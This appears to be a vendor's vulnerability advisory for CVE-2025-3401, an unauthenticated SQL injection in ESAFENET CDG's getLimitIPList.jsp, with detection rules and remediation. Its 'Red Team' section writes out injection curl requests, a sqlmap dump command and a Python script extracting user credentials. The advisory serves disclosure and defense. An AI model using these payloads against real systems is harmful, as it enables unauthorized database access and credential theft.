CVE-2025-3401
Executive Summary
CVE-2025-3401 is a critical unauthenticated SQL injection vulnerability in ESAFENET CDG (Content Delivery Gateway) version 5.6.3.154.205_20250114. The flaw resides in the /parameter/getLimitIPList.jsp endpoint, where the noticeId parameter is directly concatenated into SQL queries without sanitization. An attacker can remotely exploit this to extract, modify, or delete database contents, potentially leading to full system compromise. The vendor has not responded to disclosure, leaving the product unpatched. No EPSS or OSV data is available, but public exploit code exists.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary Java-based web application (ESAFENET CDG) deployed on-premises. Supply chain risk is limited to the vendor's unresponsiveness and lack of patch.
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: None (UI:N) – no user action required.
- Scope: Unchanged (S:U) – vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – full database read access.
- Integrity Impact: High (I:H) – data modification possible.
- Availability Impact: High (A:H) – potential for denial of service via SQL manipulation.
Threat Level: Critical. Public exploit, no patch, and remote unauthenticated access make this a high-priority target for threat actors.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the getLimitIPList.jsp page. The noticeId parameter is taken from the HTTP request and used in a SQL query without parameterization or escaping. For example, the vulnerable code might look like:
String noticeId = request.getParameter("noticeId");
String query = "SELECT * FROM limit_ip_list WHERE notice_id = " + noticeId;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
An attacker can inject SQL commands by appending a single quote or other SQL metacharacters. Since the application runs with database privileges (likely a high-privilege account), the attacker can execute arbitrary SQL statements, including UNION-based data extraction, blind injection, or stacked queries (if supported by the DBMS).
The endpoint is accessible without authentication, making it a low-barrier entry point for network-level attackers.
Vulnerable vs. Patched Code
Vulnerable Code (Java/JSP):
String noticeId = request.getParameter("noticeId");
String sql = "SELECT * FROM limit_ip_list WHERE notice_id = " + noticeId;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);
Patched Code (Hypothetical):
String noticeId = request.getParameter("noticeId");
String sql = "SELECT * FROM limit_ip_list WHERE notice_id = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, noticeId);
ResultSet rs = pstmt.executeQuery();
The patched version uses a PreparedStatement with parameterized queries, which prevents SQL injection by separating SQL logic from data.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Target: ESAFENET CDG 5.6.3.154.205_20250114 running on a local VM or container.
- Attacker: Kali Linux with
sqlmapandcurl.
Exploitation Steps:
Basic Injection Test:
curl "http://target/parameter/getLimitIPList.jsp?noticeId=1'"If an error is returned (e.g., SQL syntax error), the endpoint is vulnerable.
Extract Database Version:
curl "http://target/parameter/getLimitIPList.jsp?noticeId=1 UNION SELECT @@version,2,3--"Automated Exploitation with sqlmap:
sqlmap -u "http://target/parameter/getLimitIPList.jsp?noticeId=1" --batch --dumpManual Exploit (Python):
import requests target = "http://target/parameter/getLimitIPList.jsp" payload = "1 UNION SELECT username, password, 3 FROM users--" r = requests.get(target, params={"noticeId": payload}) print(r.text)
Expected Outcome: Full database dump, including user credentials, configuration data, and potentially sensitive business information.
Blue Team (Defensive)
Detection:
- Monitor HTTP requests to
/parameter/getLimitIPList.jspfor unusualnoticeIdvalues (e.g., containing SQL keywords like UNION, SELECT, OR, AND, quotes). - Use WAF rules to block SQL injection patterns.
- Enable database query logging to identify anomalous queries.
Mitigation:
- Immediately apply input validation and parameterized queries (if possible).
- If patching is not possible, restrict network access to the CDG web interface using firewall rules.
- Deploy a Web Application Firewall (WAF) with SQL injection signatures.
- Monitor for unauthorized database access or data exfiltration.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/parameter/getLimitIPList.jspwithnoticeIdcontaining SQL metacharacters (e.g.,',",--,UNION,SELECT). - Outbound database connections from the CDG server to unusual IPs (data exfiltration).
- HTTP requests to
- File IOCs:
- Unexpected files in the CDG web directory (e.g., webshells).
- Modified JSP files (e.g., backdoored
getLimitIPList.jsp).
- Log IOCs:
- Database error logs showing SQL syntax errors.
- Web server logs with
400or500responses from the vulnerable endpoint.
- System IOCs:
- Unusual processes running on the CDG server (e.g.,
nc,python,powershell). - New user accounts or elevated privileges.
- Unusual processes running on the CDG server (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_3401_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-3401 in ESAFENET CDG"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-3401"
strings:
$sqli1 = "noticeId=" nocase
$sqli2 = "UNION" nocase
$sqli3 = "SELECT" nocase
$sqli4 = "'" nocase
$sqli5 = "--" nocase
condition:
all of ($sqli*) and #sqli1 > 0
}
Sigma Rule
title: CVE-2025-3401 SQL Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against ESAFENET CDG /parameter/getLimitIPList.jsp
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "noticeId="
- "UNION"
- "SELECT"
- "'"
- "--"
condition: selection
falsepositives:
- Legitimate use of special characters in noticeId (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-3401 SQL Injection Attempt"; flow:to_server; content:"/parameter/getLimitIPList.jsp"; http_uri; content:"noticeId="; http_uri; pcre:"/(UNION|SELECT|'|--)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the CDG server: Restrict network access to only trusted IPs using firewall rules.
- Deploy a WAF: Use a Web Application Firewall (e.g., ModSecurity) with SQL injection rules to block malicious requests.
- Monitor logs: Enable detailed logging for the web server and database to detect exploitation attempts.
Long-term Fix:
- Since the vendor is unresponsive, consider migrating to an alternative product or applying a virtual patch via WAF.
- If source code is available, manually fix the vulnerability by replacing string concatenation with parameterized queries (PreparedStatement).
- Conduct a full security audit of the CDG application to identify other vulnerabilities.
Workaround:
- Remove or disable the
/parameter/getLimitIPList.jspfile if not essential. - Implement input validation in a reverse proxy (e.g., Nginx) to reject requests with SQL metacharacters in the
noticeIdparameter.
Valters IT